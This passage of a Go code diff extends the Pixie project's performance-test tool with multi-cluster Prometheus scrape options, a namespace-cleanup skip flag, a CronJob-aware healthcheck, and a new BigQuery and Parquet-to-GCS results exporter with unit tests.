m.SkipNamespaceDelete { + i-- + if m.SkipNamespaceDelete { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } if len(m.Patches) > 0 { for iNdEx := len(m.Patches) - 1; iNdEx >= 0; iNdEx-- { { @@ -4165,6 +4228,27 @@ func (m *PrometheusScrapeSpec) MarshalToSizedBuffer(dAtA []byte) (int, error) { _ = i var l int _ = l + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = encodeVarintExperiment(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0x4a + } + if len(m.KubeContext) > 0 { + i -= len(m.KubeContext) + copy(dAtA[i:], m.KubeContext) + i = encodeVarintExperiment(dAtA, i, uint64(len(m.KubeContext))) + i-- + dAtA[i] = 0x42 + } + if len(m.KubeconfigPath) > 0 { + i -= len(m.KubeconfigPath) + copy(dAtA[i:], m.KubeconfigPath) + i = encodeVarintExperiment(dAtA, i, uint64(len(m.KubeconfigPath))) + i-- + dAtA[i] = 0x3a + } if len(m.MetricNames) > 0 { for k := range m.MetricNames { v := m.MetricNames[k] @@ -4648,6 +4732,9 @@ func (m *PrerenderedDeploy) Size() (n int) { n += 1 + l + sovExperiment(uint64(l)) } } + if m.SkipNamespaceDelete { + n += 2 + } return n } @@ -4917,6 +5004,18 @@ func (m *PrometheusScrapeSpec) Size() (n int) { n += mapEntrySize + 1 + sovExperiment(uint64(mapEntrySize)) } } + l = len(m.KubeconfigPath) + if l > 0 { + n += 1 + l + sovExperiment(uint64(l)) + } + l = len(m.KubeContext) + if l > 0 { + n += 1 + l + sovExperiment(uint64(l)) + } + l = len(m.Name) + if l > 0 { + n += 1 + l + sovExperiment(uint64(l)) + } return n } @@ -5169,6 +5268,7 @@ func (this *PrerenderedDeploy) String() string { s := strings.Join([]string{`&PrerenderedDeploy{`, `YAMLPaths:` + fmt.Sprintf("%v", this.YAMLPaths) + `,`, `Patches:` + repeatedStringForPatches + `,`, + `SkipNamespaceDelete:` + fmt.Sprintf("%v", this.SkipNamespaceDelete) + `,`, `}`, }, "") return s @@ -5359,6 +5459,9 @@ func (this *PrometheusScrapeSpec) String() string { `Port:` + fmt.Sprintf("%v", this.Port) + `,`, `ScrapePeriod:` + strings.Replace(fmt.Sprintf("%v", this.ScrapePeriod), "Duration", "types.Duration", 1) + `,`, `MetricNames:` + mapStringForMetricNames + `,`, + `KubeconfigPath:` + fmt.Sprintf("%v", this.KubeconfigPath) + `,`, + `KubeContext:` + fmt.Sprintf("%v", this.KubeContext) + `,`, + `Name:` + fmt.Sprintf("%v", this.Name) + `,`, `}`, }, "") return s @@ -6849,6 +6952,26 @@ func (m *PrerenderedDeploy) Unmarshal(dAtA []byte) error { return err } iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field SkipNamespaceDelete", wireType) + } + var v int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowExperiment + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.SkipNamespaceDelete = bool(v != 0) default: iNdEx = preIndex skippy, err := skipExperiment(dAtA[iNdEx:]) @@ -8569,6 +8692,102 @@ func (m *PrometheusScrapeSpec) Unmarshal(dAtA []byte) error { } m.MetricNames[mapkey] = mapvalue iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field KubeconfigPath", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowExperiment + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthExperiment + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthExperiment + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.KubeconfigPath = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field KubeContext", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowExperiment + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthExperiment + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthExperiment + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.KubeContext = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 9: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowExperiment + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthExperiment + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthExperiment + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex default: iNdEx = preIndex skippy, err := skipExperiment(dAtA[iNdEx:]) diff --git a/src/e2e_test/perf_tool/experimentpb/experiment.proto b/src/e2e_test/perf_tool/experimentpb/experiment.proto index d5482d5d249..ed9dce28339 100644 --- a/src/e2e_test/perf_tool/experimentpb/experiment.proto +++ b/src/e2e_test/perf_tool/experimentpb/experiment.proto @@ -124,6 +124,11 @@ message PatchTarget { message PrerenderedDeploy { repeated string yaml_paths = 1 [ (gogoproto.customname) = "YAMLPaths" ]; repeated PatchSpec patches = 2; + // If true, the step will not return the deployed namespace in its cleanup list, + // so workload.Close() will not delete that namespace on teardown. Use this for + // resources applied into namespaces the experiment does not own (e.g. a + // RoleBinding in kube-system that has to live there for API aggregation auth). + bool skip_namespace_delete = 3; } // SkaffoldDeploy specifies how to use skaffold to deploy a component. SkaffoldDeploy is currently @@ -220,6 +225,15 @@ message PrometheusScrapeSpec { // How often to scrape the matched pods. google.protobuf.Duration scrape_period = 5; map metric_names = 6; + // Optional path to a kubeconfig file for connecting to a different cluster. + // If empty, the experiment's default cluster context is used. + string kubeconfig_path = 7; + // Optional kubectl context name to use within the kubeconfig. + // If empty, the current-context from the kubeconfig is used. + string kube_context = 8; + // Identifier for this prometheus recorder, used by the CLI to target + // recorders with kubeconfig/kube_context overrides at runtime. + string name = 9; } // ClusterSpec specifies the type and size of cluster an experiment should run on. diff --git a/src/e2e_test/perf_tool/pkg/cluster/context.go b/src/e2e_test/perf_tool/pkg/cluster/context.go index bd79bf433f3..c274a6726b0 100644 --- a/src/e2e_test/perf_tool/pkg/cluster/context.go +++ b/src/e2e_test/perf_tool/pkg/cluster/context.go @@ -53,6 +53,36 @@ func NewContextFromPath(kubeconfigPath string) (*Context, error) { }, nil } +// NewContextFromOptions creates a new Context using the specified kubeconfig path and/or context name. +// If kubeconfigPath is empty, the default kubeconfig path is used. +// If kubeContext is empty, the current-context from the kubeconfig is used. +func NewContextFromOptions(kubeconfigPath string, kubeContext string) (*Context, error) { + loadingRules := &clientcmd.ClientConfigLoadingRules{} + if kubeconfigPath != "" { + loadingRules.ExplicitPath = kubeconfigPath + } else { + loadingRules = clientcmd.NewDefaultClientConfigLoadingRules() + } + overrides := &clientcmd.ConfigOverrides{} + if kubeContext != "" { + overrides.CurrentContext = kubeContext + } + config := clientcmd.NewNonInteractiveDeferredLoadingClientConfig(loadingRules, overrides) + restConfig, err := config.ClientConfig() + if err != nil { + return nil, err + } + if kubeconfigPath == "" { + kubeconfigPath = clientcmd.RecommendedHomeFile + } + clientset := k8s.GetClientset(restConfig) + return &Context{ + configPath: kubeconfigPath, + restConfig: restConfig, + clientset: clientset, + }, nil +} + // NewContextFromConfig writes the given kubeconfig to a file, and the returns NewContextFromPath for that file. func NewContextFromConfig(kubeconfig []byte) (*Context, error) { tmpFile, err := os.CreateTemp("", "*") diff --git a/src/e2e_test/perf_tool/pkg/deploy/checks/BUILD.bazel b/src/e2e_test/perf_tool/pkg/deploy/checks/BUILD.bazel index 22c706e9bee..a4205b00b8c 100644 --- a/src/e2e_test/perf_tool/pkg/deploy/checks/BUILD.bazel +++ b/src/e2e_test/perf_tool/pkg/deploy/checks/BUILD.bazel @@ -34,6 +34,7 @@ go_library( "//src/e2e_test/perf_tool/pkg/pixie", "@com_github_cenkalti_backoff_v4//:backoff", "@com_github_sirupsen_logrus//:logrus", + "@io_k8s_api//core/v1:core", "@io_k8s_apimachinery//pkg/apis/meta/v1:meta", ], ) diff --git a/src/e2e_test/perf_tool/pkg/deploy/checks/k8s_healthcheck.go b/src/e2e_test/perf_tool/pkg/deploy/checks/k8s_healthcheck.go index fda494dc839..08363f43abe 100644 --- a/src/e2e_test/perf_tool/pkg/deploy/checks/k8s_healthcheck.go +++ b/src/e2e_test/perf_tool/pkg/deploy/checks/k8s_healthcheck.go @@ -25,6 +25,7 @@ import ( "github.com/cenkalti/backoff/v4" log "github.com/sirupsen/logrus" + v1 "k8s.io/api/core/v1" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "px.dev/pixie/src/e2e_test/perf_tool/experimentpb" @@ -68,6 +69,15 @@ func (hc *k8sHealthCheck) Wait(ctx context.Context, clusterCtx *cluster.Context, ) } for _, pod := range pl.Items { + // CronJob pods that exited 0 stay around in phase Succeeded + // (Kubernetes keeps them per successfulJobsHistoryLimit) and + // their containers report Ready: false forever. They are + // "done", not "not ready" — skip. Phase Failed is intentionally + // NOT skipped: a failed CronJob run is a real signal we want + // the healthcheck to surface, not paper over. + if pod.Status.Phase == v1.PodSucceeded { + continue + } for _, cs := range pod.Status.InitContainerStatuses { if cs.State.Terminated == nil { return fmt.Errorf( diff --git a/src/e2e_test/perf_tool/pkg/deploy/steps/prerendered.go b/src/e2e_test/perf_tool/pkg/deploy/steps/prerendered.go index a05960b6de2..ca7dbf6ef3e 100644 --- a/src/e2e_test/perf_tool/pkg/deploy/steps/prerendered.go +++ b/src/e2e_test/perf_tool/pkg/deploy/steps/prerendered.go @@ -75,6 +75,9 @@ func (p *prerenderedDeployImpl) Deploy(clusterCtx *cluster.Context) ([]string, e if err := p.r.deploy(clusterCtx); err != nil { return nil, err } + if p.spec.SkipNamespaceDelete { + return nil, nil + } ns, err := p.r.getNamespace() if err != nil { return nil, err diff --git a/src/e2e_test/perf_tool/pkg/exporter/BUILD.bazel b/src/e2e_test/perf_tool/pkg/exporter/BUILD.bazel new file mode 100644 index 00000000000..17b1fe7c417 --- /dev/null +++ b/src/e2e_test/perf_tool/pkg/exporter/BUILD.bazel @@ -0,0 +1,50 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") +load("//bazel:pl_build_system.bzl", "pl_go_test") + +go_library( + name = "exporter", + srcs = [ + "bq_exporter.go", + "exporter.go", + "parquet_exporter.go", + ], + importpath = "px.dev/pixie/src/e2e_test/perf_tool/pkg/exporter", + visibility = ["//visibility:public"], + deps = [ + "//src/e2e_test/perf_tool/pkg/metrics", + "//src/shared/bq", + "@com_github_gofrs_uuid//:uuid", + "@com_github_parquet_go_parquet_go//:parquet-go", + "@com_github_sirupsen_logrus//:logrus", + "@com_google_cloud_go_storage//:storage", + ], +) + +pl_go_test( + name = "exporter_test", + srcs = ["parquet_exporter_test.go"], + embed = [":exporter"], + deps = [ + "//src/e2e_test/perf_tool/pkg/metrics", + "@com_github_gofrs_uuid//:uuid", + "@com_github_parquet_go_parquet_go//:parquet-go", + "@com_github_stretchr_testify//assert", + "@com_github_stretchr_testify//require", + ], +) diff --git a/src/e2e_test/perf_tool/pkg/run/row.go b/src/e2e_test/perf_tool/pkg/exporter/bq_exporter.go similarity index 58% rename from src/e2e_test/perf_tool/pkg/run/row.go rename to src/e2e_test/perf_tool/pkg/exporter/bq_exporter.go index 17959d97d78..023db03c4f4 100644 --- a/src/e2e_test/perf_tool/pkg/run/row.go +++ b/src/e2e_test/perf_tool/pkg/exporter/bq_exporter.go @@ -16,15 +16,18 @@ * SPDX-License-Identifier: Apache-2.0 */ -package run +package exporter import ( + "context" "encoding/json" "time" "github.com/gofrs/uuid" + log "github.com/sirupsen/logrus" "px.dev/pixie/src/e2e_test/perf_tool/pkg/metrics" + "px.dev/pixie/src/shared/bq" ) // ResultRow represents a single datapoint for a single metric, to be stored in bigquery. @@ -51,7 +54,7 @@ type SpecRow struct { CommitTopoOrder int `bigquery:"commit_topo_order"` } -// MetricsRowToResultRow converts a `metrics.ResultRow` into a `bq.ResultRow`. +// MetricsRowToResultRow converts a `metrics.ResultRow` into a `ResultRow`. func MetricsRowToResultRow(expID uuid.UUID, row *metrics.ResultRow) (*ResultRow, error) { encodedTags, err := json.Marshal(row.Tags) if err != nil { @@ -65,3 +68,61 @@ func MetricsRowToResultRow(expID uuid.UUID, row *metrics.ResultRow) (*ResultRow, Tags: string(encodedTags), }, nil } + +// BQExporter exports experiment results and specs to BigQuery. +type BQExporter struct { + resultTable *bq.Table + specTable *bq.Table +} + +// NewBQExporter creates a new BigQuery exporter. +func NewBQExporter(resultTable, specTable *bq.Table) *BQExporter { + return &BQExporter{ + resultTable: resultTable, + specTable: specTable, + } +} + +// ExportResults consumes metrics from resultCh and inserts them into BigQuery in batches. +func (e *BQExporter) ExportResults(ctx context.Context, expID uuid.UUID, resultCh <-chan *metrics.ResultRow) error { + bqCh := make(chan interface{}) + defer close(bqCh) + + inserter := &bq.BatchInserter{ + Table: e.resultTable, + BatchSize: 512, + PushTimeout: 2 * time.Minute, + } + go inserter.Run(bqCh) + + for row := range resultCh { + bqRow, err := MetricsRowToResultRow(expID, row) + if err != nil { + log.WithError(err).Error("Failed to convert result row") + continue + } + bqCh <- bqRow + } + return nil +} + +// ExportSpec writes the experiment spec to BigQuery on experiment success. +func (e *BQExporter) ExportSpec(ctx context.Context, expID uuid.UUID, encodedSpec string, commitTopoOrder int) error { + specRow := &SpecRow{ + ExperimentID: expID.String(), + Spec: encodedSpec, + CommitTopoOrder: commitTopoOrder, + } + + inserter := e.specTable.Inserter() + inserter.SkipInvalidRows = false + + putCtx, cancel := context.WithTimeout(ctx, 5*time.Minute) + defer cancel() + return inserter.Put(putCtx, specRow) +} + +// Close is a no-op for the BigQuery exporter. +func (e *BQExporter) Close() error { + return nil +} diff --git a/src/e2e_test/perf_tool/pkg/exporter/exporter.go b/src/e2e_test/perf_tool/pkg/exporter/exporter.go new file mode 100644 index 00000000000..c89d6898032 --- /dev/null +++ b/src/e2e_test/perf_tool/pkg/exporter/exporter.go @@ -0,0 +1,37 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +package exporter + +import ( + "context" + + "github.com/gofrs/uuid" + + "px.dev/pixie/src/e2e_test/perf_tool/pkg/metrics" +) + +// Exporter handles exporting experiment results and specs to a storage backend. +type Exporter interface { + // ExportResults consumes metrics from resultCh until it closes, then flushes. + ExportResults(ctx context.Context, expID uuid.UUID, resultCh <-chan *metrics.ResultRow) error + // ExportSpec writes the experiment spec for a successful experiment. + ExportSpec(ctx context.Context, expID uuid.UUID, encodedSpec string, commitTopoOrder int) error + // Close releases any resources held by the exporter. + Close() error +} diff --git a/src/e2e_test/perf_tool/pkg/exporter/parquet_exporter.go b/src/e2e_test/perf_tool/pkg/exporter/parquet_exporter.go new file mode 100644 index 00000000000..c5fe259e93a --- /dev/null +++ b/src/e2e_test/perf_tool/pkg/exporter/parquet_exporter.go @@ -0,0 +1,285 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +package exporter + +import ( + "context" + "fmt" + "io" + "os" + "sort" + "time" + + "cloud.google.com/go/storage" + "github.com/gofrs/uuid" + "github.com/parquet-go/parquet-go" + log "github.com/sirupsen/logrus" + + "px.dev/pixie/src/e2e_test/perf_tool/pkg/metrics" +) + +type bufferedRow struct { + ExperimentID string + Timestamp time.Time + Name string + Value float64 + Tags map[string]string +} + +// uploadFunc is the signature for uploading a local file to a remote path. +type uploadFunc func(ctx context.Context, objectPath string, localPath string) error + +// ParquetGCSExporter exports experiment results as parquet files to GCS. +type ParquetGCSExporter struct { + bucket string + prefix string + batchSize int + gcsClient *storage.Client + upload uploadFunc +} + +// NewParquetGCSExporter creates a new Parquet+GCS exporter. +func NewParquetGCSExporter(ctx context.Context, bucket, prefix string, batchSize int) (*ParquetGCSExporter, error) { + client, err := storage.NewClient(ctx) + if err != nil { + return nil, fmt.Errorf("failed to create GCS client: %w", err) + } + e := &ParquetGCSExporter{ + bucket: bucket, + prefix: prefix, + batchSize: batchSize, + gcsClient: client, + } + e.upload = e.uploadToGCS + return e, nil +} + +// ExportResults consumes metrics from resultCh and writes them as batched parquet files to GCS. +func (e *ParquetGCSExporter) ExportResults(ctx context.Context, expID uuid.UUID, resultCh <-chan *metrics.ResultRow) error { + now := time.Now() + basePath := e.gcsPath(now, expID) + seqNum := 0 + batch := make([]bufferedRow, 0, e.batchSize) + + for row := range resultCh { + batch = append(batch, bufferedRow{ + ExperimentID: expID.String(), + Timestamp: row.Timestamp, + Name: row.Name, + Value: row.Value, + Tags: row.Tags, + }) + if len(batch) >= e.batchSize { + if err := e.flushBatch(ctx, basePath, seqNum, batch); err != nil { + return err + } + seqNum++ + batch = batch[:0] + } + } + + if len(batch) > 0 { + if err := e.flushBatch(ctx, basePath, seqNum, batch); err != nil { + return err + } + } + return nil +} + +// ExportSpec writes the experiment spec as a parquet file to GCS. +func (e *ParquetGCSExporter) ExportSpec(ctx context.Context, expID uuid.UUID, encodedSpec string, commitTopoOrder int) error { + type specRow struct { + ExperimentID string `parquet:"experiment_id"` + Spec string `parquet:"spec"` + CommitTopoOrder int64 `parquet:"commit_topo_order"` + } + + tmpFile, err := os.CreateTemp("", "spec-*.parquet") + if err != nil { + return fmt.Errorf("failed to create temp file for spec parquet: %w", err) + } + tmpPath := tmpFile.Name() + defer os.Remove(tmpPath) + + writer := parquet.NewGenericWriter[specRow](tmpFile) + _, err = writer.Write([]specRow{{ + ExperimentID: expID.String(), + Spec: encodedSpec, + CommitTopoOrder: int64(commitTopoOrder), + }}) + if err != nil { + tmpFile.Close() + return fmt.Errorf("failed to write spec parquet: %w", err) + } + if err := writer.Close(); err != nil { + tmpFile.Close() + return fmt.Errorf("failed to close spec parquet writer: %w", err) + } + tmpFile.Close() + + now := time.Now() + gcsPath := fmt.Sprintf("%s/spec.parquet", e.gcsPath(now, expID)) + return e.upload(ctx, gcsPath, tmpPath) +} + +// Close releases resources held by the exporter. +func (e *ParquetGCSExporter) Close() error { + return e.gcsClient.Close() +} + +func (e *ParquetGCSExporter) gcsPath(t time.Time, expID uuid.UUID) string { + datePath := t.Format("2006/01/02") + if e.prefix != "" { + return fmt.Sprintf("%s/%s/%s", e.prefix, datePath, expID.String()) + } + return fmt.Sprintf("%s/%s", datePath, expID.String()) +} + +func (e *ParquetGCSExporter) flushBatch(ctx context.Context, basePath string, seqNum int, rows []bufferedRow) error { + tagKeys := collectTagKeys(rows) + schema := buildResultSchema(tagKeys) + + tmpFile, err := os.CreateTemp("", "results-*.parquet") + if err != nil { + return fmt.Errorf("failed to create temp file for parquet: %w", err) + } + tmpPath := tmpFile.Name() + defer os.Remove(tmpPath) + + writer := parquet.NewWriter(tmpFile, schema) + + for _, row := range rows { + parquetRow := buildResultRow(row, tagKeys) + if _, err := writer.WriteRows([]parquet.Row{parquetRow}); err != nil { + tmpFile.Close() + return fmt.Errorf("failed to write parquet row: %w", err) + } + } + + if err := writer.Close(); err != nil { + tmpFile.Close() + return fmt.Errorf("failed to close parquet writer: %w", err) + } + tmpFile.Close() + + gcsPath := fmt.Sprintf("%s/results_%04d.parquet", basePath, seqNum) + log.WithField("gcs_path", gcsPath).WithField("rows", len(rows)).Info("Uploading parquet batch") + return e.upload(ctx, gcsPath, tmpPath) +} + +func (e *ParquetGCSExporter) uploadToGCS(ctx context.Context, objectPath string, localPath string) error { + f, err := os.Open(localPath) + if err != nil { + return fmt.Errorf("failed to open temp file for upload: %w", err) + } + defer f.Close() + + obj := e.gcsClient.Bucket(e.bucket).Object(objectPath) + wc := obj.NewWriter(ctx) + if _, err := io.Copy(wc, f); err != nil { + wc.Close() + return fmt.Errorf("failed to upload to GCS: %w", err) + } + if err := wc.Close(); err != nil { + return fmt.Errorf("failed to finalize GCS upload: %w", err) + } + return nil +} + +// collectTagKeys returns a sorted list of unique tag keys across all rows. +func collectTagKeys(rows []bufferedRow) []string { + keySet := make(map[string]struct{}) + for _, row := range rows { + for k := range row.Tags { + keySet[k] = struct{}{} + } + } + keys := make([]string, 0, len(keySet)) + for k := range keySet { + keys = append(keys, k) + } + sort.Strings(keys) + return keys +} + +// buildResultSchema creates a parquet schema with fixed columns plus dynamic tag columns. +func buildResultSchema(tagKeys []string) *parquet.Schema { + group := parquet.Group{ + "experiment_id": parquet.String(), + "timestamp": parquet.Timestamp(parquet.Millisecond), + "name": parquet.String(), + "value": parquet.Leaf(parquet.DoubleType), + } + for _, key := range tagKeys { + group["tag_"+key] = parquet.Optional(parquet.String()) + } + return parquet.NewSchema("result", group) +} + +// buildResultRow constructs a parquet.Row from a bufferedRow with the given tag key ordering. +// Column ordering matches the schema's sorted field order (alphabetical by field name). +func buildResultRow(row bufferedRow, tagKeys []string) parquet.Row { + // parquet.Group sorts fields alphabetically. We must produce values in that order. + // Build named values, sort them, then assign column indices. + + type colEntry struct { + name string + val parquet.Value + optional bool + } + + entries := []colEntry{ + {"experiment_id", parquet.ValueOf(row.ExperimentID), false}, + {"name", parquet.ValueOf(row.Name), false}, + {"timestamp", parquet.Int64Value(row.Timestamp.UnixMilli()), false}, + {"value", parquet.ValueOf(row.Value), false}, + } + + for _, key := range tagKeys { + colName := "tag_" + key + if v, ok := row.Tags[key]; ok { + entries = append(entries, colEntry{colName, parquet.ValueOf(v), true}) + } else { + // Null value for missing optional tag. + entries = append(entries, colEntry{colName, parquet.Value{}, true}) + } + } + + // Sort by column name to match schema field order. + sort.Slice(entries, func(i, j int) bool { + return entries[i].name < entries[j].name + }) + + parquetRow := make(parquet.Row, len(entries)) + for i, e := range entries { + if e.optional { + if e.val.IsNull() { + // Null optional: definitionLevel=0 + parquetRow[i] = parquet.Value{}.Level(0, 0, i) + } else { + // Present optional: definitionLevel=1 + parquetRow[i] = e.val.Level(0, 1, i) + } + } else { + // Required: definitionLevel=0 + parquetRow[i] = e.val.Level(0, 0, i) + } + } + return parquetRow +} diff --git a/src/e2e_test/perf_tool/pkg/exporter/parquet_exporter_test.go b/src/e2e_test/perf_tool/pkg/exporter/parquet_exporter_test.go new file mode 100644 index 00000000000..e20816bfd5b --- /dev/null +++ b/src/e2e_test/perf_tool/pkg/exporter/parquet_exporter_test.go @@ -0,0 +1,500 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +package exporter + +import ( + "context" + "errors" + "fmt" + "io" + "os" + "path/filepath" + "sort" + "strings" + "testing" + "time" + + "github.com/gofrs/uuid" + "github.com/parquet-go/parquet-go" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "px.dev/pixie/src/e2e_test/perf_tool/pkg/metrics" +) + +func TestCollectTagKeys(t *testing.T) { + rows := []bufferedRow{ + {Tags: map[string]string{"pod": "pod-1", "node_name": "node-1"}}, + {Tags: map[string]string{"pod": "pod-2", "instance": "inst-1"}}, + {Tags: map[string]string{}}, + } + + keys := collectTagKeys(rows) + + assert.Equal(t, []string{"instance", "node_name", "pod"}, keys) +} + +func TestCollectTagKeys_Empty(t *testing.T) { + rows := []bufferedRow{ + {Tags: map[string]string{}}, + } + + keys := collectTagKeys(rows) + + assert.Empty(t, keys) +} + +func TestBuildResultSchema(t *testing.T) { + tagKeys := []string{"node_name", "pod"} + + schema := buildResultSchema(tagKeys) + + fields := schema.Fields() + fieldNames := make([]string, len(fields)) + for i, f := range fields { + fieldNames[i] = f.Name() + } + sort.Strings(fieldNames) + + assert.Equal(t, []string{ + "experiment_id", + "name", + "tag_node_name", + "tag_pod", + "timestamp", + "value", + }, fieldNames) +} + +func TestBuildResultRow_AllTagsPresent(t *testing.T) { + ts := time.Date(2026, 4, 15, 10, 30, 0, 0, time.UTC) + row := bufferedRow{ + ExperimentID: "test-id", + Timestamp: ts, + Name: "cpu_usage", + Value: 42.5, + Tags: map[string]string{"pod": "pod-1", "node_name": "node-1"}, + } + tagKeys := []string{"node_name", "pod"} + + parquetRow := buildResultRow(row, tagKeys) + + // Schema sorts fields alphabetically: + // experiment_id, name, tag_node_name, tag_pod, timestamp, value + assert.Equal(t, 6, len(parquetRow)) + + // Verify column indices are sequential. + for i, v := range parquetRow { + assert.Equal(t, i, v.Column(), "column index mismatch at position %d", i) + } +} + +func TestBuildResultRow_MissingTag(t *testing.T) { + ts := time.Date(2026, 4, 15, 10, 30, 0, 0, time.UTC) + row := bufferedRow{ + ExperimentID: "test-id", + Timestamp: ts, + Name: "rss", + Value: 1024.0, + Tags: map[string]string{"pod": "pod-1"}, + } + tagKeys := []string{"node_name", "pod"} + + parquetRow := buildResultRow(row, tagKeys) + + assert.Equal(t, 6, len(parquetRow)) + + // Find the tag_node_name column (should be null). + // Alphabetical order: experiment_id(0), name(1), tag_node_name(2), tag_pod(3), timestamp(4), value(5) + tagNodeNameVal := parquetRow[2] + assert.True(t, tagNodeNameVal.IsNull(), "missing tag should produce a null value") + assert.Equal(t, 0, tagNodeNameVal.DefinitionLevel(), "null optional field should have definitionLevel=0") + + // tag_pod should be present. + tagPodVal := parquetRow[3] + assert.False(t, tagPodVal.IsNull()) + assert.Equal(t, 1, tagPodVal.DefinitionLevel(), "present optional field should have definitionLevel=1") +} + +func TestFlushBatch_WritesValidParquet(t *testing.T) { + tmpDir := t.TempDir() + var uploadedPath string + + e := &ParquetGCSExporter{ + batchSize: 100, + upload: func(ctx context.Context, objectPath string, localPath string) error { + // Copy the parquet file to our temp dir before it gets cleaned up. + dest := filepath.Join(tmpDir, filepath.Base(objectPath)) + src, err := os.Open(localPath) + if err != nil { + return err + } + defer src.Close() + dst, err := os.Create(dest) + if err != nil { + return err + } + defer dst.Close() + if _, err := io.Copy(dst, src); err != nil { + return err + } + uploadedPath = dest + return nil + }, + } + + ts := time.Date(2026, 4, 15, 12, 0, 0, 0, time.UTC) + rows := []bufferedRow{ + { + ExperimentID: "exp-1", + Timestamp: ts, + Name: "cpu_usage", + Value: 0.85, + Tags: map[string]string{"pod": "kelvin-abc", "node_name": "node-1"}, + }, + { + ExperimentID: "exp-1", + Timestamp: ts.Add(30 * time.Second), + Name: "rss", + Value: 1048576, + Tags: map[string]string{"pod": "kelvin-abc"}, + }, + } + + err := e.flushBatch(context.Background(), "test/path", 0, rows) + require.NoError(t, err) + require.NotEmpty(t, uploadedPath) + + // Read back the parquet file and verify contents. + f, err := os.Open(uploadedPath) + require.NoError(t, err) + defer f.Close() + + stat, err := f.Stat() + require.NoError(t, err) + + pf, err := parquet.OpenFile(f, stat.Size()) + require.NoError(t, err) + + schema := pf.Schema() + assert.Equal(t, int64(2), pf.NumRows()) + + // Verify schema has expected columns. + fields := schema.Fields() + fieldNames := make([]string, len(fields)) + for i, f := range fields { + fieldNames[i] = f.Name() + } + sort.Strings(fieldNames) + assert.Equal(t, []string{ + "experiment_id", + "name", + "tag_node_name", + "tag_pod", + "timestamp", + "value", + }, fieldNames) + + // Re-open the file for the reader (the File consumed the initial handle). + f2, err := os.Open(uploadedPath) + require.NoError(t, err) + defer f2.Close() + + reader := parquet.NewReader(f2) + defer reader.Close() + + parquetRows := make([]parquet.Row, 2) + n, err := 